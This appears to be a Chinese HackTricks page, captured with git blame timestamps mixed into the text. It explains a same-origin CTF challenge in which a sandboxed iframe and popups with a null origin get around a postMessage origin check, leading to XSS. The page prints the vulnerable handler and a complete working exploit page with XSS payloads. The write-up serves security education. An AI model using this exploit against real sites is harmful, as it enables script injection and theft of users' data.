2023-08-03 19:12:22 +00:00
|
|
|
|
# 通过使用iframe绕过SOP - 1
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
|
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## SOP-1中的Iframes
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
在这个由[**NDevTK**](https://github.com/NDevTK)和[**Terjanq**](https://github.com/terjanq)创建的[**挑战**](https://github.com/terjanq/same-origin-xss)中，你需要利用代码中的XSS漏洞。
|
2022-10-13 00:56:34 +00:00
|
|
|
|
```javascript
|
|
|
|
|
|
const identifier = '4a600cd2d4f9aa1cfb5aa786';
|
|
|
|
|
|
onmessage = e => {
|
2023-08-03 19:12:22 +00:00
|
|
|
|
const data = e.data;
|
|
|
|
|
|
if (e.origin !== window.origin && data.identifier !== identifier) return;
|
|
|
|
|
|
if (data.type === 'render') {
|
|
|
|
|
|
renderContainer.innerHTML = data.body;
|
|
|
|
|
|
}
|
2022-10-13 00:56:34 +00:00
|
|
|
|
}
|
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
主要问题是[**主页**](https://so-xss.terjanq.me)使用DomPurify发送`data.body`，所以为了将自己的html数据发送到该代码中，您需要**绕过**`e.origin !== window.origin`。
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
让我们看看他们提出的解决方案。
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### SOP绕过1（e.origin === null）
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
当`//example.org`嵌入到**沙箱iframe**中时，页面的**来源**将为**`null`**，即**`window.origin === null`**。因此，只需通过`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`嵌入iframe，我们就可以**强制`null`来源**。
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果页面是**可嵌入的**，您可以通过这种方式绕过该保护（可能还需要将cookie设置为`SameSite=None`）。
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### SOP绕过2（window.origin === null）
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
较少人知道的事实是，当设置了**沙箱值`allow-popups`**时，**打开的弹出窗口**将**继承**所有**沙箱属性**，除非设置了`allow-popups-to-escape-sandbox`。\
|
|
|
|
|
|
因此，从**null来源**打开**弹出窗口**将使弹出窗口内的**`window.origin`**也变为**`null`**。
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 挑战解决方案
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
因此，对于这个挑战，可以**创建**一个**iframe**，**打开一个弹出窗口**到具有易受攻击的XSS代码处理程序（`/iframe.php`）的页面，因为`window.origin === e.origin`，因为两者都是`null`，所以可以**发送一个将利用XSS的有效负载**。
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
该**有效负载**将获取**标识符**并将**XSS**发送回**顶层页面**（打开弹出窗口的页面），**该页面**将**更改位置**到**易受攻击的**`/iframe.php`。因为标识符是已知的，所以不需要满足条件`window.origin === e.origin`（请记住，来源是来自具有**来源****`null`**的iframe的弹出窗口），因为`data.identifier === identifier`。然后，**XSS将再次触发**，这次在正确的来源中。
|
2022-10-13 00:56:34 +00:00
|
|
|
|
```html
|
|
|
|
|
|
<body>
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<script>
|
|
|
|
|
|
f = document.createElement('iframe');
|
|
|
|
|
|
|
|
|
|
|
|
// Needed flags
|
|
|
|
|
|
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
|
|
|
|
|
|
|
|
|
|
|
|
// Second communication with /iframe.php (this is the top page relocated)
|
|
|
|
|
|
// This will execute the alert in the correct origin
|
|
|
|
|
|
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
|
|
|
|
|
|
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
|
|
|
|
|
|
},1000);`.replaceAll('\n',' ');
|
|
|
|
|
|
|
|
|
|
|
|
// Initial communication
|
|
|
|
|
|
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
|
|
|
|
|
|
// Then, bypass window.origin === e.origin to steal the identifier and communicate
|
|
|
|
|
|
// with the top with the second XSS payload
|
|
|
|
|
|
f.srcdoc = `
|
|
|
|
|
|
<h1>Click me!</h1>
|
|
|
|
|
|
<script>
|
|
|
|
|
|
onclick = e => {
|
|
|
|
|
|
let w = open('https://so-xss.terjanq.me/iframe.php');
|
|
|
|
|
|
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
|
|
|
|
|
|
setTimeout(_ => {
|
|
|
|
|
|
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
|
|
|
|
|
|
}, 1000);
|
|
|
|
|
|
};
|
|
|
|
|
|
<\/script>
|
|
|
|
|
|
`
|
|
|
|
|
|
document.body.appendChild(f);
|
|
|
|
|
|
</script>
|
2022-10-13 00:56:34 +00:00
|
|
|
|
</body>
|
|
|
|
|
|
```
|
|
|
|
|
|
<details>
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 你在一家**网络安全公司**工作吗？想要在HackTricks中看到你的**公司广告**吗？或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
|
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-10-13 00:56:34 +00:00
|
|
|
|
|
|
|
|
|
|
</details>
|
